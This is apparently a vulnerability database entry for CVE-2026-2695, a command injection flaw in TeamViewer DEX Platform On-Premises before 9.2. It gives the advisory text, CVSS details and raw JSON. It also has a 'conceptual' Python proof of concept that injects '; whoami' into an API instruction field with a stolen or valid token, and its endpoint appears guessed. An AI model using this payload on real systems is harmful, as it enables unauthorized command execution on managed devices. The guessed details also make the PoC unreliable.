Security Vulnerability Report
中文
CVE-2026-2695 CVSS 6.3 MEDIUM

CVE-2026-2695

Published: 2026-05-13 17:16:19
Last Modified: 2026-05-13 18:10:51

Description

A command injection vulnerability was discovered in TeamViewer DEX Platform On-Premises (former 1E DEX Platform On-Premises) prior to version 9.2. Improper input validation allows authenticated users with at least questioner privileges to inject commands in specific instructions. Exploitation could lead to execution of elevated commands on devices connected to the platform.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

TeamViewer DEX Platform On-Premises < 9.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Conceptual Proof of Concept for CVE-2026-2695 # Target: TeamViewer DEX Platform On-Premises < 9.2 # Prerequisite: Valid authentication token with 'questioner' privileges target_url = "https://<target-host>/api/v1/instructions" auth_token = "<stolen_or_valid_token>" headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # The vulnerability lies in specific instructions. # We inject a command separator ';' followed by 'whoami' to verify execution. malicious_payload = { "instruction_type": "execute", "command": "legitimate_command; whoami", "device_id": "target_device_id" } try: response = requests.post(target_url, json=malicious_payload, headers=headers, verify=False) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2695", "sourceIdentifier": "[email protected]", "published": "2026-05-13T17:16:19.453", "lastModified": "2026-05-13T18:10:51.227", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A command\ninjection vulnerability was discovered in TeamViewer DEX Platform On-Premises\n(former 1E DEX Platform On-Premises) prior to version 9.2. Improper input validation allows\nauthenticated users with at least questioner privileges to inject commands in specific\ninstructions. Exploitation could lead to execution of elevated commands on\ndevices connected to the platform."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://www.teamviewer.com/de/resources/trust-center/security-bulletins/tv-2026-1004/", "source": "[email protected]"}]}}